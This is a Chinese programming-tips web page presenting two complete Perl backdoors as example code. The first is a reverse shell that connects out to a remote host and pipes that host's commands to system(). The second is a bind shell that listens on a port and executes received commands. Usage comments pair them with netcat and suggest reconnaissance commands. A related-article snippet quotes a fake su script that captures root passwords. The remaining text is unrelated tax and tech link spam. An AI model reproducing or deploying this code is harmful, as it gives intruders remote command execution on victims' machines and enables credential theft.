位置: 编程技术 - 正文

perl后门,正向和反向!实例代码

编辑:rootadmin
反向连接代码: 1. #!/usr/bin/perl 2. #usage: 3. #nc -vv -l -p PORT(default ) on your local system first,then 4. #Perl $0 Remote IP(default .0.0.1) Remote_port(default ) 5. #Type 'exit' to exit or press Enter to gain shell when u under the 'console'. 6. #nc -vv -l -p 7. #perl backdoor.pl .0.0.1 8. 9. #use strict; . use Socket; . use IO::Socket; . use Cwd; . use IO::Handle; . my $remote = $ARGV[0]|| ".0.0.1"; . my $remote_port = $ARGV[1]|| ; . my $pack_addr = sockaddr_in( $remote_port, inet_aton($remote)); . my $path = cwd(); . $ARGC = @ARGV; . if ($ARGV[0]!~/-/) . { . socket(SOCKET, PF_INET, SOCK_STREAM,getprotobyname('tcp')) or die "socket error: "; . STDOUT->autoflush(1); . SOCKET->autoflush(1); . $conn=connect(SOCKET,$pack_addr)||die "connection error : $!"; . open STDIN,">&SOCKET"; . open STDOUT,">&SOCKET"; . open STDERR,">&SOCKET"; . print "You are in $pathn"; . print "Welcome to use.n"; . print "console>n"; . . while (<STDIN>) { . chomp; . if( lc($_) eq 'exit' ) { . print " Bye Bye!"; . exit; . } . $msg=system($_); . if($msg){ . print STDOUT "n$msgn"; . print STDOUT "console>"; . }else . { . print "console>"; . } . } . close SOCKET; . exit; . } 正向连接代码: 1. #!/usr/bin/perl 2. #ActivePerl 5.8.8 Build 3. #usage: 4. #first:perl backdoor2c.pl 5. #second:nc -vv .0.0.1 6. #net user 7. #ipconfig /all 8. #netstat -anb 9. use IO::Socket; . $port = ""; . my $socket = new IO::Socket::INET ( 'Localhost'=>'.0.0.1' , . 'LocalPort'=>$port , . 'Listen'=>1 , . 'Proto'=>'tcp' , . 'Reuse'=>1 ); . die "Reason: $!" unless $socket; . while (my $new_socket = $socket->accept()) { . while (my $buffer=<$new_socket> ){ . if ($buffer=~/exit/) {exit;} . $res_msg=`$buffer`; . print $new_socket "$res_msgncmd>"; . }}

推荐整理分享perl后门,正向和反向!实例代码,希望有所帮助,仅作参考,欢迎阅读内容。

perl后门,正向和反向!实例代码

文章相关热门搜索词:,内容如对您有帮助,希望把文章链接给更多的朋友!

Perl模块编写说明 Perl的语法相对来说有点晦涩,主要是一些内置变量和函数处理得相当精巧,而过于精致的东西理解起来就有点费力。相对于Shell,Perl在很多方面更加强

用perl写的单位电脑信息采集程序 主要用于收集ip、mac、姓名、房间,后来又加入了维修记录的功能。服务器端接受数据并存入数据库中。#############################usestrict;useTk;useEncode;#SOCKE

冒充su ,perl写的su.pl盗取root密码 我改了一下,把回显关了加了个延时:#!/usr/bin/perl#Writtenbyxi4oyuevil.xi4oyu@gmail.com.print"Password:";`stty-echo`;$s1=STDIN;print"n";`sttyecho`;sleep3;print"su:incorrectpasswordn"

标签: perl后门,正向和反向!实例代码

本文链接地址:https://www.jiuchutong.com/biancheng/372433.html 转载请保留说明!

上一篇:Shell编程的一些知识集合(shell编程技巧)

下一篇:Perl模块编写说明(perl编程)

  • 异地预缴附加税需要计提吗
  • 企业增值税怎么做账务处理
  • 报销金额限制多少
  • 月末存款余额
  • 所得税汇算清缴账务处理
  • 汽车年审属于什么费用
  • 农药增值税减免政策
  • 每月工资个税为零
  • 房地产开发企业土地增值税清算
  • 固定资产原价的结余额
  • 一次性加速折旧汇算清缴调增吗
  • 现金存入银行会计摘要怎么写
  • 收到一张建筑服务*施工费发票
  • 流动比率计算公式速动比率
  • 应付职工薪酬账务处理例题
  • 签了合同后又要收额外费用
  • 单位购置汽车如何入账
  • 去年漏记一笔银行付款怎么办
  • 收到银行存款怎么记账
  • 委托加工的加工费要交增值税吗
  • 退交税钱
  • 纳税服务一体化综合监督工作情况报告
  • 员工收到货款不交公司,法律规定
  • 企业怎么通过债务转让
  • flash动画导出视频有水印吗
  • 没有收入该怎么办
  • 加计扣除的会计要素
  • 微软输入法繁体字变简体字
  • sudo命令无法执行
  • qqlogin.exe是什么进程 qqlogin.exe应用程序错误解决办法
  • 企业汇算清缴怎么退税
  • PHP:pg_lo_read()的用法_PostgreSQL函数
  • 专项贷款损失准备金在一定程度上具有资本的性质
  • 手工帐应交税费明细账
  • HTML布局方式
  • php操作文件的常用函数
  • 房产税是什么意思,简单的回答
  • 企业所得税申报表模板
  • 外贸企业进项发票能是外贸企业吗
  • 本月认证上月的进项票如何做
  • 火车票可以直接去火车站买吗
  • php分页思路
  • php递归算法经典题目
  • 送货单需要跟在凭证后面吗
  • sqlserver调用存储过程写法
  • 企业有什么税收
  • 限定性净资产是资产类科目吗
  • 短期借款利息怎么做账
  • 在施工期间,承包商可能遇到不能预见
  • 追加固定资产原值如何计提折旧
  • 卖旧固定资产计入哪个科目
  • 车辆保险赔款怎么算
  • 资固定资产清理
  • 劳务派遣证验资
  • 待抵扣税额怎么做分录
  • 其它流动资产为负数原因
  • 编制利润表的主要根据是
  • sqlserver获取表结构
  • mysql自动停止的解决办法
  • win10 系统内存
  • 删除命令windows
  • windows server 2003如何安装
  • explorer.exe是什么指令
  • windows锁屏界面设置
  • ubuntu20.10安装教程
  • sccenter.exe - sccenter是什么进程 有什么用
  • gta4支持win10
  • threejs加载obj模型颜色不对
  • 使用筷子就餐会不会传染乙肝病毒
  • nodejs bull
  • 微信内置浏览器怎么清除缓存
  • node 多线程
  • js class实现原理
  • jquery禁用输入框
  • [推荐]抖音上那些好看的视频和有才的帐号
  • 全国税务查询
  • 辽宁省国家税务局电话
  • 税务局追缴社保流程及办理期限
  • 新加坡关税壁垒
  • 机构改革哪个单位负责
  • 免责声明:网站部分图片文字素材来源于网络,如有侵权,请及时告知,我们会第一时间删除,谢谢! 邮箱:opceo@qq.com

    鄂ICP备2023003026号

    网站地图: 企业信息 工商信息 财税知识 网络常识 编程技术

    友情链接: 武汉网站建设